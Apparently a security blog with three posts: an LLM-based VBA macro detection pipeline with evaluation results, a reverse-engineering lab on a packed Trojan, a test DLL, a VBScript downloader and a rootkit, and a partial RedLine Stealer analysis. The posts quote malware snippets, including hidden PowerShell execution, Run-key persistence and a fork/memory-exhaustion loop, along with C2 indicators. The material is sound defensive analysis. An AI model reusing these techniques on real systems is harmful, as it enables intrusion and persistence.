zy0ud

M4CR0SC0PE: VBA Macro Analysis with LLM

Wed, 01 Jul 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

M4CR0SC0PE is my graduation project at Jordan University of Science and Technology (JUST), Faculty of Computer and Information Technology — a fully static analysis pipeline for detecting and analyzing malicious VBA macros in Microsoft Office documents.

The core idea: combine deep static code analysis with Large Language Model semantic reasoning to produce explainable malware reports — without executing a single line of untrusted code at any stage.

Problem Statement

Microsoft Office documents with embedded VBA macros remain one of the most prevalent initial access vectors in modern cyberattacks. Attackers rely on the fact that Office files are widely trusted and frequently exchanged — especially in business environments. Embedded macros can download malware, run encrypted commands, or establish persistence without raising immediate suspicion.

Existing analysis approaches each have a fundamental drawback:

Traditional static analysis uses signature matching and keyword rules. It's safe (no execution needed) but fails completely against obfuscated macros. A macro that uses Chr(), Base64 encoding, string concatenation, or dynamic payload construction looks like noise to a rule-based system.

Dynamic analysis (sandboxing) provides behavioral insight but introduces execution risk, high resource overhead, and is vulnerable to anti-VM evasion techniques — modern malware can detect sandboxed environments and stay dormant.

LLMs on raw code provide semantic understanding but hallucinate without structured input. Feeding raw obfuscated VBA to an LLM produces unreliable output — the model invents function names, misreads variable semantics, and confabulates MITRE ATT&CK techniques.

The gap: a system that combines the safety of static analysis with the semantic depth of LLMs, while controlling and measuring hallucination.

System Overview

M4CR0SC0PE analyzes Office files containing VBA macros (.docm, .xlsm, .pptm, .dotm, .xlam, .doc, .xls, .vba) through an eight-stage pipeline. No file is executed. No Office installation is required. No sandbox environment is needed.

The 8-Stage Pipeline

Office Document
      │
      ▼
┌─────────────────────────────────────────────┐
│  Stage 1 · Validation & Hashing             │
│  SHA-256 · MD5 · magic-byte file type check │
├─────────────────────────────────────────────┤
│  Stage 2 · Static Macro Extraction          │
│  oletools · OLE · OOXML · autoexec detection│
├─────────────────────────────────────────────┤
│  Stage 3 · Multi-Pass Deobfuscation         │
│  Chr() · Base64 · Hex · Dridex · concat     │
├─────────────────────────────────────────────┤
│  Stage 4 · Deep Static Analysis             │
│  Behavioral + structural + contextual       │
├─────────────────────────────────────────────┤
│  Stage 5 · Evidence Package Construction    │
│  Structured JSON · 3 epistemic tiers        │
├─────────────────────────────────────────────┤
│  Stage 6 · LLM Semantic Reasoning           │
│  Verdict · IOCs · MITRE ATT&CK proposals    │
├─────────────────────────────────────────────┤
│  Stage 7 · MITRE ATT&CK Verification        │
│  Evidence grounding · hallucination scoring │
├─────────────────────────────────────────────┤
│  Stage 8 · Reverse Engineering Layer        │
│  Call graph · execution flow reconstruction │
└─────────────────────────────────────────────┘
      │
      ▼
  Structured Analysis Report

Key Design Decisions

Stage 3 — Multi-Pass Deobfuscation

Before any analysis begins, the system cleans the macro code. Common obfuscation patterns resolved:

Chr() / Asc() — character code substitution (Chr(83) & Chr(104) & Chr(101) & Chr(108) → "Shell")
Base64 decode — embedded payloads encoded as strings
Hex encoding — \x53\x68\x65\x6C\x6C → Shell
String concatenation — fragments assembled across multiple assignments
Dridex-style encoding — custom XOR/rotation schemes

The deobfuscator runs multiple passes because obfuscation is often layered — the output of one decode pass becomes the input to the next.

Stage 5 — The Evidence Package (Core Innovation)

Instead of passing raw or deobfuscated VBA code to the LLM, Stage 5 constructs a structured JSON evidence package before any LLM call is made. The package is categorized into three epistemic tiers:

| Tier | Description | Examples | |---|---|---| | Confirmed | Statically verifiable facts, zero ambiguity | Shell call detected, CreateObject("WScript.Shell"), file write to %TEMP% | | Inferred | Strong patterns consistent with malicious behavior | Obfuscated string that decodes to a URL, autoexec trigger present, RegWrite to Run key | | Contextual | Suspicious but potentially benign in isolation | Process enumeration, registry read, HTTP connection |

The evidence package also captures:

Function and procedure names — with their call relationships
Suspicious API calls — CreateObject, Shell, Run, RegWrite, WScript, XMLHTTP
String patterns — downloaders, loaders, encoded payloads
Embedded PowerShell — treated as supplementary evidence, not analyzed separately

This structured approach reduces LLM hallucination because the model reasons about extracted facts rather than trying to parse meaningless obfuscated strings.

Stage 7 — MITRE ATT&CK Verification (Novel Contribution)

The LLM proposes ATT&CK techniques in Stage 6. Stage 7 cross-references every proposal against the evidence package. A technique is accepted only if it can be traced back to at least one confirmed or inferred indicator. Ungrounded proposals are rejected and flagged.

This produces a measurable hallucination rate per model — a metric that doesn't exist in previous LLM-based malware analysis tools.

Implementation

Stack: Python 3.10 · Flask · oletools · SQLite · Azure OpenAI (GPT-4.1) · AgentRouter (Claude Haiku)

Database Schema (7 Tables)

The system persists all analysis results in outputs/analyzer.db:

| Table | Contents | |---|---| | submissions | File metadata, hash, submission timestamp | | analysis_results | Per-model verdict, confidence, MITRE proposals | | evidence_packages | Structured JSON evidence per submission | | iocs | Extracted indicators of compromise | | mitre_mappings | Verified + rejected technique proposals | | deobfuscation_log | Pass-by-pass deobfuscation trace | | re_layer_output | Call graph, execution flow reconstruction |

Project Structure

macro_analyzer/
├── stages/
│   ├── validation.py       # Stage 1 — hashing + file type check
│   ├── extraction.py       # Stage 2 — VBA extraction via oletools
│   ├── deobfuscation.py    # Stage 3 — multi-pass deobfuscation
│   ├── analysis.py         # Stage 4 — deep static analysis
│   ├── evidence_builder.py # Stage 5 — evidence package construction
│   ├── llm_reasoning.py    # Stage 6 — LLM inference
│   ├── mitre_verifier.py   # Stage 7 — MITRE verification + hallucination scoring
│   └── re_layer.py         # Stage 8 — call graph + execution flow
├── controller.py           # Pipeline orchestration
├── database.py             # SQLite persistence
└── data_models.py          # Shared Pydantic models
dashboard/
└── app.py                  # Flask API + async job runner
config/
└── vba_mitre_reference.json

Dashboard

The system ships with a Flask web interface at http://localhost:5000 with four screens:

Dashboard — total analyzed files, malicious/benign counts, per-model performance cards (accuracy, confidence, hallucination rate), top MITRE techniques, IOC distribution, verdict distribution, submission history

Analyze — upload an Office file and watch all 8 stages execute with real-time status and intermediate output

Report — verdict, confidence score, behavioral summary, MITRE ATT&CK table with evidence links per technique, IOC list, mitigation recommendations, PDF export

Assistant — GPT-4.1 powered Q&A scoped to the project codebase and current report context

Evaluation

Dataset: IEEE DataPort MSOffice VBA Macros Classified Dataset — 300 files, stratified 80/20 train/test split, ground-truth labels provided.

Models evaluated: GPT-4.1, GPT-4o, Claude Haiku.

Classification Performance

| Model | Accuracy | Precision | Recall | F1-Score | TP | TN | FP | FN | |---|---|---|---|---|---|---|---|---| | GPT-4.1 | 75.6% | 0.733 | 1.000 | 0.846 | 200 | 26 | 73 | 0 | | GPT-4o | 66.4% | 0.664 | 1.000 | 0.798 | 198 | 0 | 100 | 0 | | Claude Haiku | 75.5% | 0.710 | 1.000 | 0.831 | 147 | 38 | 60 | 0 |

All three models achieved perfect Recall (1.000) — FN = 0 across all models. No malicious file was missed.

This is the primary security guarantee. The tradeoff is false positives — legitimate files flagged as malicious. GPT-4.1 achieves the best balance (73 FPs, 26 correct benign classifications), while GPT-4o flags every single benign file as malicious (100 FPs, 0 TNs).

MITRE ATT&CK Hallucination Rate

| Model | Proposed | Verified | Rejected | Hallucination Rate | |---|---|---|---|---| | GPT-4.1 | 759 | 654 | 105 | 13.8% | | GPT-4o | 421 | 160 | 261 | 62.0% | | Claude Haiku | 1,475 | 795 | 680 | 46.1% |

GPT-4.1's 13.8% hallucination rate vs GPT-4o's 62.0% and Claude Haiku's 46.1% validates the evidence-based prompting approach. When the model reasons about structured, pre-analyzed indicators rather than raw code, it proposes fewer and better-grounded techniques.

Claude Haiku generated significantly more technique proposals (1,475 — almost 2× GPT-4.1's 759), but nearly half were ungrounded. This suggests the model is pattern-matching on the evidence keywords rather than reasoning about them.

Model Selection Recommendation

For production use, GPT-4.1 is the recommended model:

Best F1-Score (0.846) — best precision-recall balance
Lowest hallucination rate (13.8%) — highest MITRE mapping reliability
Zero false negatives — no malicious files missed

Claude Haiku is a viable offline/private alternative for environments where Azure OpenAI is unavailable, accepting the tradeoff of higher hallucination rate.

Why Evidence-Based Prompting Works

The central insight of M4CR0SC0PE is that LLM quality scales with input quality. Raw obfuscated VBA is essentially adversarially crafted noise from the model's perspective — it contains meaningless token sequences that cause the model to confabulate.

By running static extraction and deobfuscation first, then packaging only the meaningful signals into a structured JSON prompt, we give the model a clean, factual substrate to reason about. The MITRE verification stage then acts as a second LLM pass — the model argues for each proposed technique against the evidence, and we reject proposals that can't be grounded.

This three-layer architecture (extract → reason → verify) is what produces the 13.8% hallucination rate — compared to 46-62% when models are given less structured inputs.

Limitations & Future Work

Current limitations:

Accuracy depends on deobfuscation quality — heavily layered or custom encoding schemes may not fully resolve
LLM API dependency — offline environments require local model hosting
No runtime behavioral analysis — by design, but limits detection of environment-aware payloads

Planned extensions:

Local LLM support (Ollama integration) for airgapped environments
Extended deobfuscation for additional encoding schemes (VBA stomping, P-Code analysis)
YARA rule generation from verified MITRE mappings
Cross-document correlation for campaign attribution

Setup

git clone https://github.com/r3dzyoud/M4CR0SC0PE.git
cd M4CR0SC0PE
pip install -r requirements.txt
cp .env.example .env
# Set AZURE_OPENAI_API_KEY and AZURE_OPENAI_BASE_URL in .env
python3 dashboard/app.py

Open http://localhost:5000.

Full technical documentation: GitHub Wiki

REV: Packed Trojan, DLL, Rootkit & IDAPython

Mon, 08 Jun 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

Five reverse engineering exercises: a UPX-packed Trojan analyzed in IDA Pro, a custom-encrypted DLL reversed in Ghidra + IDAPython, a Base64-obfuscated VBScript downloader, a rootkit kernel driver with hooked Windows APIs, and an automation pipeline comparing IDA Pro vs Ghidra decompilation output (96 vs 71 functions).

Part 1: Packed Trojan — `tr_pack1.exe`

Sample Collection

Downloaded from MalwareBazaar by searching the UPX tag.

MalwareBazaar browse — tag:UPX search results, sample 9b0d5e40... (reported name 5kidRo0t) selected from the list

Sample metadata — SHA256 9b0d5e40ea39bcdb7f21c195750b010d7ebe343eefd691b27e572e6bbd740c33, original filename Astaroth.exe, file size 23,054 bytes, first seen 2025-05-11. TrID flags it as a 52.7% match for a UPX-compressed Win32 executable

Identify the Packer

PEiD flags the packer immediately:

PEiD main window — Entrypoint 00013360 sits inside section UPX1, File Offset 00005560, First Bytes 60,BE,15,E0 (a PUSHAD/MOV ESI pair typical of UPX's decompression stub), Linker Info 2.41

Extra Information — Detected: UPX 0.89.6-1.02 / 1.05-2.90 (Markus & Laszlo) [Overlay], Entropy: 7.88 (Packed)

Detect It Easy (DiE) cross-validates the finding:

DiE v3.10 — Packer: UPX(4.22)[NRV,brute]. Heuristic packer flag fires on the entry point, section names, and the collision between the mapped sections and their real sizes — all consistent with UPX

DiE's PE view — three sections named UPX0 (empty header, RWE), UPX1 (holds the entry point and packed code, RWE), and UPX2 (import table, RW) — the textbook UPX section layout

Unpack

upx -d 9b0d5e40ea39bcdb7f21c195750b010d7ebe343eefd691b27e572e6bbd740c33.exe

UPX 3.96w successfully restores the file from 23,054 bytes back to 44,558 bytes (51.74% compression ratio) — unpacked binary ready for static analysis

IDA Pro Analysis

Loaded the unpacked binary in IDA Pro and decompiled the entry point:

IDA Pro — start() entry point, function list visible on the left, decompiled pseudocode on the right

sub_401A18 — the primary malicious routine: crypto setup, anti-debug check, and the calls into the three sub-behaviors below

// Line 16 — XOR "encrypts" a hardcoded buffer with key 0x90
for (i = 0; i < pdwDataLen - 1; ++i)
    pbData[i] ^= v6;   // v6 == 0x90

// Line 19-20 — acquire a CSP handle, generate an AES-256 session key
CryptAcquireContextA(hProv, 0, 0, 0x18u, 0xF0000000);
CryptGenKey(hProv[0], 0x6610u, 1u, &phKey);
// 0x6610 = CALG_AES_256, flag 1u = CRYPT_EXPORTABLE (Microsoft CryptoAPI)

// Line 25 — anti-debugging
hProv[1] = IsDebuggerPresent();

// Line 26 — drop and execute second stage, shown NORMAL (not hidden)
ShellExecuteA(0, "runas", "Astaroth.exe", 0, 0, 1);  // nShowCmd = 1 = SW_SHOWNORMAL

// Line 27-29 — hand off to the three behaviors covered below
sub_40150D();   // persistence
sub_401701();   // network scanning
sub_401912();   // fork / memory exhaustion loop

`sub_40150D` — Persistence

Gets the current executable's path, resolves %AppData% via SHGetFolderPathA(..., 26, ...) (CSIDL 26 = CSIDL_APPDATA), copies itself to %AppData%\5kidRo0t.exe, writes a Run-key value named 5kidRo0t under both HKCU and HKLM\...\CurrentVersion\Run, then calls SetFileAttributesA(Str, 6) — 0x6 = FILE_ATTRIBUTE_HIDDEN (2) | FILE_ATTRIBUTE_SYSTEM (4), hiding the dropped copy from normal directory listings

`sub_401701` — Network Scanning

Initializes Winsock (WSAStartup), reads the local hostname and resolves it to an IP via gethostbyname — the starting point for building target addresses on the local subnet

Opens a raw socket, then loops i = 1 to 254, formatting each candidate as "%d.%d.%d.%d" to sweep the entire local /24 (e.g., a host at 192.168.1.100 scans 192.168.1.1–192.168.1.254), sending a packet to each before cleaning up with closesocket/WSACleanup

`sub_401912` — Fork + Memory Exhaustion Loop

An infinite loop: spawns a fresh copy of itself via CreateProcessA, mallocs a ~400 MB block (0x17D78400), fills it with sequential integers, sleeps 500 ms (0x1F4), then repeats — steadily consuming CPU and RAM

The write loop (filling the allocation with data) drives progressive memory pressure that can crash the system.
The 500 ms sleep is just enough to slow the drain rate and dodge naive threshold-based resource monitors.

Part 2: Encrypted Strings DLL — `xor_caesar.dll`

Compile the DLL

Source for the test DLL — two hardcoded encrypted byte arrays (xor_encrypted, caesar_encrypted), a 0x2A XOR key, a Caesar shift of 3, and three exported functions: xor_decrypt(), caesar_decrypt(), and print_all() (which MessageBox-displays both decrypted strings)

gcc -shared -o xor_caesar.dll -fPIC "C:\Users\r3d\Desktop\xor_caesar.c"

gcc compiles xor_caesar.dll from the C source above with no errors

Ghidra Analysis

Opened the DLL in Ghidra and located the two decryption routines by their exported names:

caesar_decrypt — the decompiler shows decrypted[i] = caesar_encrypted[i] + -3, i.e. subtracting the Caesar shift of 3 from each byte

xor_decrypt — decrypted[i] = xor_encrypted[i] ^ 0x2A; XOR is symmetric, so the same key both encrypts and decrypts

IDAPython Decryption

A Python script run inside IDA Pro locates the encrypted symbols by name, decrypts them with the correct routine, and annotates the database with inline comments:

Left: IDA Pro's disassembly of execute_cmd, which shells out to cmd.exe with ShellExecuteA. Right: the IDAPython console output —

--- [*] Starting Decryption Script ---
[+] XOR Encrypted @ 0x33B403010: b'rexyOIXO^'
[+] XOR Decrypted: XORSecret
[+] Caesar Encrypted @ 0x33B403020: b'FdhvduKlgghq'
[+] Caesar Decrypted: CaesarHidden
[+] Base64 Encoded @ 0x33B403030: cG93ZXJzaGVsbCAtTm9FeGl0IC1X
[+] Decoded IOC: powershell -NoExit -W
[+] C2 URL @ 0x33B40400C: http://192.168.100.50/c2
--- [*] Decryption Complete ---

Indicators of Compromise (IOCs)

| Method | Decrypted | Ciphertext | Key | Address | |---|---|---|---|---| | XOR | XORSecret | rexoyIXO^ | 0x2A | 0x33B403010 | | Caesar | CaesarHidden | FdhvduKlggqh | Shift 3 | 0x33B403020 | | Base64 | powershell -NoExit -W | cG93ZXJzaGVsbCAtTm9FeGl0IC1X | — | 0x33B403030 | | C2 URL | http://192.168.100.50/c2 | — | — | 0x33B40400C |

Part 3: VBScript Downloader — `Downloader.vbs`

Sample: Hybrid Analysis — scan result: clean.

Hybrid Analysis marks the 15 KiB .vbs sample "no specific threat" / clean across its multi-scanner — obfuscation alone is enough to defeat static AV detection here

strings Downloader.vbs

The script defines its own Base64 helper functions (eb64, stb, db64, bts) built on Msxml2.DOMDocument and ADODB.Stream — a common way VBScript malware avoids relying on any single obvious "decode" API

Key techniques:

' 1. Base64 + string replacement to build a placeholder payload
pls = Replace(pls, db64("cmVwbGFjZV9wYXJhbQ=="), pr)  ' → "replace_param"
' replace_plub64 is just a placeholder in this copy — in the wild the real
' payload creates a scheduled task named "chrome center", first deleting
' any old task starting with chrome + [engine|policy|tele] to camouflage itself

' 2. Hidden PowerShell via WScript.Shell
Set so = CreateObject("WScript.Shell")
setex = so.Exec(db64("Y21kLmV4ZSAvYyBwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLQ=="))
' → cmd.exe /c powershell -WindowStyle Hidden -
' the decoded payload is piped in afterward via ex.StdIn.Write cts & VbCrLf,
' so PowerShell never sees the malicious command on its own command line

Persistence: scheduled task named "chrome center" (Chrome-themed camouflage)
C2: rtowatchship.xyz
Fake trust signal: a '' SIG'' Begin/End block appended at the end of the script to mimic a digital signature

Impact assessment — full system control, credential theft, data exfiltration, malware deployment (loader for ransomware/RATs/keyloggers), surveillance (webcam/mic), and lateral movement are all in scope if this script runs

Part 4: Rootkit Driver

Static analysis only. IDA Pro's import table on the driver reveals the stealth + persistence architecture:

Imports from ntoskrnl.exe — ZwQuerySystemInformation, ZwSetSecurityObject, IoCreateDevice, IoCreateSymbolicLink, ObOpenObjectByPointer, RtlCreateSecurityDescriptor and friends, all resolved against the kernel image

| API | Purpose | |---|---| | ZwQuerySystemInformation | Tampers with the data returned to user-mode tools like Task Manager, removing this driver's PID from the process list | | ZwSetValueKey + ZwCreateKey + ZwOpenKey | Creates the autoload entry under HKLM\SYSTEM\CurrentControlSet\Services\ so the .sys loads on every boot | | IoCreateDevice / IoCreateSymbolicLink | Registers the rootkit as a device object the OS will load | | ObOpenObjectByPointer | Direct kernel object access — used to hide handles, alter permissions, or spoof object references | | ZwQueryDirectoryObject | Hides the device/driver entries from system enumeration utilities |

Loads at kernel level before any user-mode security tool initializes, giving it a persistent, hard-to-evict foothold.

Part 5: Automation & Scripting

IDAPython — Function Renaming

rename_map = {
    "xor_decrypt":         "perform_xor_decryption",
    "caesar_decrypt":      "perform_caesar_decryption",
    "connect_to_c2":       "establish_c2_connection",
    "persist_in_registry": "create_persistence_entry",
    "execute_cmd":         "execute_shell_command",
}

Before:

Function list still carries the DLL's original exported names: xor_decrypt, caesar_decrypt, connect_to_c2, persist_in_registry, execute_cmd, print_all

After:

Renamed to perform_xor_decryption, perform_caesar_decryption, establish_c2_connection, create_persistence_entry, execute_shell_command — console confirms "Renamed 6 functions successfully"

Highlighting Obfuscation Patterns

A follow-up script scans the renamed functions for XOR/Caesar-style constant obfuscation directly in the disassembly, color-codes each hit, and logs it: [+] Caesar cipher at 0x33B40103D0: shift = -3, [+] Caesar cipher at 0x33B4013fc: shift = -3

Decryption Stub Detection

Hashes the mnemonic instruction sequence of every function and flags ones sharing an identical pattern:

Console: "Found 2 functions with matching patterns" for several pairs (pre_c_init/__gcc_register_frame, __stregdtor/_get_output_format, __getmainargs/__wgetmainargs, tzset/_tzset_0) — each pair is highlighted light pink in the disassembly with a "Possible repeated decryption stub" comment

IDA vs Ghidra Comparison

Export from IDA Pro:

IDAPython script walks every function via idautils.Functions(), decompiles each with Hex-Rays, and dumps the result to ida_decomp.json

Export from Ghidra:

The equivalent Ghidra Script Manager job (export_decomp.py) uses DecompInterface to decompile every function in the listing and dump it to ghidra_decomp.json

First run fails with IOError: [Errno 13] Permission denied writing to Desktop\ghidra_decomp.json; re-pointing the output path to Documents\ghidra_decomp.json succeeds

Run comparison:

python compare_decomp.py "ida_decomp.json" "ghidra_decomp.json"

compare_decomp.py diffs both function sets: 96 decompiled by IDA vs 71 by Ghidra, with the two "only in" lists printed in full

| Metric | IDA Pro | Ghidra | |---|---|---| | Total functions | 96 | 71 | | Only in this tool | 31 — includes InternetCloseHandle, InternetOpenA, InternetOpenUrlA, the _FindPESection* family, __gcc_register_frame/__gcc_deregister_frame, __getmainargs/__wgetmainargs, create_persistence_entry, establish_c2_connection, execute_all_functions, execute_shell_command, perform_caesar_decryption, perform_xor_decryption, pre_c_init, tzset | 6 — caesar_decrypt, connect_to_c2, execute_cmd, persist_in_registry, print_all, xor_decrypt |

Why the difference:

IDA finds 31 more — more aggressive CRT-startup and Windows-API-wrapper detection, plus the rename script's descriptive names show up as distinct entries in its own export
Ghidra finds 6 unique — these are exactly the DLL's original exported names (xor_decrypt, caesar_decrypt, connect_to_c2, persist_in_registry, execute_cmd, print_all); Ghidra preserved the pre-rename symbols in this comparison pass while IDA's export reflects the post-rename database

Summary

| Part | Sample | Key Finding | |---|---|---| | 1 | tr_pack1.exe (Astaroth.exe) | UPX-packed, AES-256 setup, anti-debug, drops %AppData%\5kidRo0t.exe persistence, /24 raw-socket scan, fork + memory-exhaustion loop | | 2 | xor_caesar.dll | C2 192.168.100.50/c2, XOR key 0x2A, Caesar shift 3, IDAPython auto-decrypt via xor_decrypt/caesar_decrypt | | 3 | Downloader.vbs | AV-clean but C2 rtowatchship.xyz, Chrome-named scheduled task, fake SIG block, hidden PowerShell execution | | 4 | Rootkit .sys | Hides PID via ZwQuerySystemInformation, boots at kernel level via Services registry key, direct kernel object manipulation | | 5 | xor_caesar.dll | IDA: 96 functions, Ghidra: 71 — always cross-validate |

REV: RedLine Stealer — Static & Dynamic Analysis

Mon, 01 Jun 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

This post walks through a complete static and dynamic analysis of a real-world malware sample pulled from MalwareBazaar — cataloged under the signature Backdoor.TeamViewer, carrying the file name WEXTRACT.EXE .MUI, and flagged on VirusTotal as RedLine Stealer (Trojan). The workflow covers isolated lab setup, sample acquisition and hashing, PE structure and metadata dissection across nine static tools, sandbox detonation, and live runtime monitoring.

Phase 1: Lab Environment Setup

An isolated Windows 10 x64 virtual machine was built in VMware Workstation Pro using the official Microsoft developer VM images, with the network adapter set to NAT so the guest could reach the internet for lookups (VirusTotal, MalwareBazaar) without exposing the host to the sample's traffic.

.NET Desktop Runtime 9.0.4 (x64) installer — a VM dependency required by several of the analysis tools used later

VMware network adapter configured to NAT — the VM shares the host's IP rather than bridging directly onto the network

Windows 10 x64 analysis VM — HashCalc and PEiD shortcuts staged on the desktop alongside the standard toolset

Phase 2: Sample Acquisition & Hashing

The sample was pulled from MalwareBazaar under the Backdoor.TeamViewer signature.

MalwareBazaar entry — signature "Backdoor.TeamViewer", 14 vendor detections, file size 1,917,440 bytes, first seen 2023-10-10. The imphash (646167cce332c1c252cdcb1839e0cf48) is shared with 8,467 other RedLine Stealer samples, 4,786 Amadey samples, and 290 Smoke Loader samples — strong evidence of a common builder/loader lineage

Hashes were computed twice, with a GUI tool and a CLI tool, to cross-verify:

HashCalc — MD5, SHA1, SHA256, RIPEMD160, and CRC32 computed locally, confirming the published hash set

md5deep64 / sha1deep64 / sha256deep64 run against the sample — output matches the hashes published on MalwareBazaar

Sample hashes:

| Algorithm | Hash | |---|---| | SHA256 | 248fcc901aff4e4b4c48c91e4d78a939bf681c9a1bc24addc3551b32768f907b | | SHA1 | 7ccfb7678c34d6a2bedc040da04e2b5201be453b | | MD5 | 18cbe55c3b28754916f1cbf4dfc95cf9 |

Phase 3: Static Analysis

VirusTotal

57 / 71 vendors flag the file as malicious. Popular threat label: trojan.crfl/redline. Family labels: crfl, redline, stealer. Behavioral tags: checks-disk-space, checks-user-input, spreader, executes-dropped-file, detect-debug-environment, persistence, long-sleeps

Grouped sandbox reports (CAPE, VMRay, VirusTotal Jujubox, Zenbox, Dr.Web vxCube, Sangfor ZSand and others) roll up to 5 detections, MITRE ATT&CK signatures, IDS/Sigma rule hits, ~80 dropped files, and network activity spanning 62 HTTP requests, 13 DNS requests, and 165 contacted IPs

Malware family: RedLine Stealer — a commodity infostealer that targets browser-stored credentials/cookies, cryptocurrency wallets, and applications such as FileZilla, Discord, Steam, Telegram, and VPN clients.

Strings Extraction

strings -u WEXTRACT.EXE > strings_output.txt

Sysinternals Strings v2.54 — kernel32.dll plus a run of Cabinet-SDK-style tokens (ADMQCMD, EXTRACTOPT, FILESIZES, PACKINSTSPACE, RUNPROGRAM, SHOWWINDOW, USRQCMD) and license/prompt text

BinText 3.0.3 — the VERSIONINFO block resolves cleanly: CompanyName "Microsoft Corporation", FileDescription "Win32 Cabinet Self-Extractor", OriginalFilename "WEXTRACT.EXE .MUI", ProductName "Internet Explorer". That last field is a mismatch worth flagging — a cabinet self-extractor reporting itself as part of Internet Explorer

PEiD

PEiD v0.95 — Entry Point 00006A60 (.text), File Offset 00005E60, First Bytes E8,F0,06,00, Linker 14.13, Subsystem Win32 GUI. Main scan: "Nothing found". Entropy: 6.19 (Not Packed). EP Check: Not Packed. Fast Check: Packed — the four indicators don't agree with each other

The conflict between "nothing found" and a positive fast-check hit is typical of PEiD against anything newer than its signature database — it means "inconclusive," not "clean."

LordPE

LordPE Deluxe — full PE header dump

| Field | Value | Meaning | |---|---|---| | EntryPoint | 00006A60 | RVA where execution starts | | ImageBase | 00400000 | Preferred load address | | SizeOfImage | 001D9000 | Total in-memory image size | | NumberOfSections | 0005 | Five PE sections | | TimeDateStamp | 628D60E2 | Compiles to 2022-05-24 22:49:06 UTC | | Subsystem | 0002 | Windows GUI application |

PEview

IMAGE_DOS_HEADER — MZ signature (0x5A4D), offset to the PE header at 0x000000E0

IMAGE_FILE_HEADER — Machine: IMAGE_FILE_MACHINE_I386, 5 sections, timestamp 2022/05/24 22:49:06 UTC, Characteristics 0102 (IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_32BIT_MACHINE)

Dependency Walker

Imports from ADVAPI32.DLL, KERNEL32.DLL, GDI32.DLL, USER32.DLL, MSVCRT.DLL, CABINET.DLL, and VERSION.DLL, plus several unresolved delay-load dependencies. The CABINET.DLL import lines up with the "Win32 Cabinet Self-Extractor" identity seen in the version resource

| DLL | Legitimate Use | Malware-relevant Abuse | |---|---|---| | ADVAPI32.DLL | Registry, services, security | Persistence via Run keys, privilege escalation, credential access | | KERNEL32.DLL | Processes, files, memory | Code injection, payload execution, anti-debugging | | CABINET.DLL | Cabinet (.cab) extraction | Unpacks and drops the embedded payload at runtime | | MSVCRT.DLL | C runtime functions | Keeps the custom-compiled payload running correctly | | VERSION.DLL | File/OS version checks | Fingerprints the target environment |

Resource Hacker

Version Info resource — CompanyName "Microsoft Corporation", FileDescription "Win32 Cabinet Self-Extractor", FileVersion 11.00.17763.1, InternalName "Wextract", OriginalFilename "WEXTRACT.EXE .MUI"

Dialog 2002 — a genuine "Temporary folder" extraction prompt with Browse/OK/Cancel controls. This is the real UI of Windows' own wextract.exe cabinet self-extractor, not a custom-built decoy dialog

Detect It Easy (DiE)

DiE v3.10 — PE32, 1.83 MiB, Entry point 00406A60, 5 sections. Linker: Microsoft Linker 14.13.26213. Compiler: Microsoft Visual C/C++ 19.13.26213 (Visual Studio 2017 v15.6). Heuristic packer flag: "Compressed or packed data [High entropy + Section 3 ('.rsrc') compressed]". Identified as a Microsoft Cabinet SFX (v11.00.17763.1) archiving 2 files at 94.7% compression

DiE's SFX/CAB identification, combined with the CABINET.DLL import and the real "Temporary folder" dialog above, confirms this binary is a genuine, unmodified wextract.exe — Windows' own self-extracting cabinet utility — repurposed to carry and drop an embedded payload rather than being a custom packer.

PEstudio

PEstudio 9.61 — entry-point 0x00006A60 (section .idata), entropy 7.976, file signature "Microsoft Linker 14.13", VirusTotal score 57/71 pulled inline, debug file wextract.pdb, version original-file-name = "WEXTRACT.EXE .MUI"

PEstudio's entropy reading (7.976) is noticeably higher than PEiD's (6.19) — the two tools scope their entropy calculation differently (whole file vs. specific regions), but both point the same direction: parts of this binary are compressed/obfuscated, consistent with the embedded CAB payload.

ExifTool

ExifTool v13.27 — File OS: Windows NT, Entry Point 0x6a60, Subsystem: Windows GUI, Company Name: Microsoft Corporation, File Description: "Win32 Cabinet Self-Extractor", Original File Name: "WEXTRACT.EXE .MUI", PDB File Name: wextract.pdb

Key finding: the PDB path, version resource, and imports are all internally consistent with the real Microsoft wextract.exe — this isn't spoofed metadata bolted onto a custom dropper, it's a legitimate signed-looking Windows component being used as a carrier for a malicious payload extracted at runtime.

Phase 4: Dynamic Analysis

AnyRun Sandbox

The sample was detonated in AnyRun for automated behavioral analysis.

Process tree: explorer.exe → 248fcc90...907b.exe → Yt8gc85.exe → GY4IC43.exe → hE8Zq97.exe → 1Zn59od7.exe → AppLaunch.exe / WerFault.exe, with a sibling 2PO9885.exe. Network panel shows 4 HTTP requests, 79 connections, and 76 DNS requests, including outbound traffic to Microsoft-owned ASNs and an Akamai-hosted crl.microsoft... endpoint — legitimate-looking infrastructure used as cover traffic

The sandboxed browser navigates to facebook.com/login ("Log Into Facebook") during the run — consistent with a stealer probing for saved browser credentials/session data

A second tab opens accounts.google.com ("Sign in - Google Accounts") in the same session — the same credential/session-harvesting pattern targeting a second major account provider

AnyRun's activity classification: MALICIOUS — execution of an untrusted-certificate binary (5uR3IF9.exe), code injection by AppLaunch.exe, and explorer.exe itself receiving injected code. SUSPICIOUS — legitimate Windows executables dropped/overwritten, a Microsoft-named app launched from a non-standard path, child processes that crash on execution, commands run from a .bat file via CMD.EXE, and a connection to an unusual port. INFO — language/locale checks, temp-directory file creation, computer-name and machine-GUID registry reads

Process Monitor (ProcMon)

ProcMon capturing the sample's thread lifecycle, large IRP_MJ_READ operations against C:\Windows\System32\wow64win.dll, and a run of RegQueryKey/RegOpenKey calls against HKLM/HKCU, including HKCU\Software\Microsoft\CTF\DirectSwitchHook — CTF (input/IME) key access is a pattern often seen around process-injection setup on Windows

Process Explorer

The running sample (PID 7032) reports 5,080 K private bytes / 12,792 K working set, described as "Win32 Cabinet Self-Extractor" by "Microsoft Corporation" — but the Verified Signer column reads "(No signature was present in the subject) Microsoft Corporation". The binary claims a Microsoft identity through its version resource while carrying no actual Authenticode signature — a reliable static-vs-runtime tell that Process Explorer surfaces directly

RegShot — Registry & File System Comparison

A before/after snapshot across C:\WINDOWS and C:\Users\r3 was taken to capture every persistence and file-system change made during execution.

RegShot 1.9.0 x64 — scan directories set to C:\WINDOWS;C:\Users\r3, output path C:\Users\r3\Desktop, ready to take the first and second shots around detonation

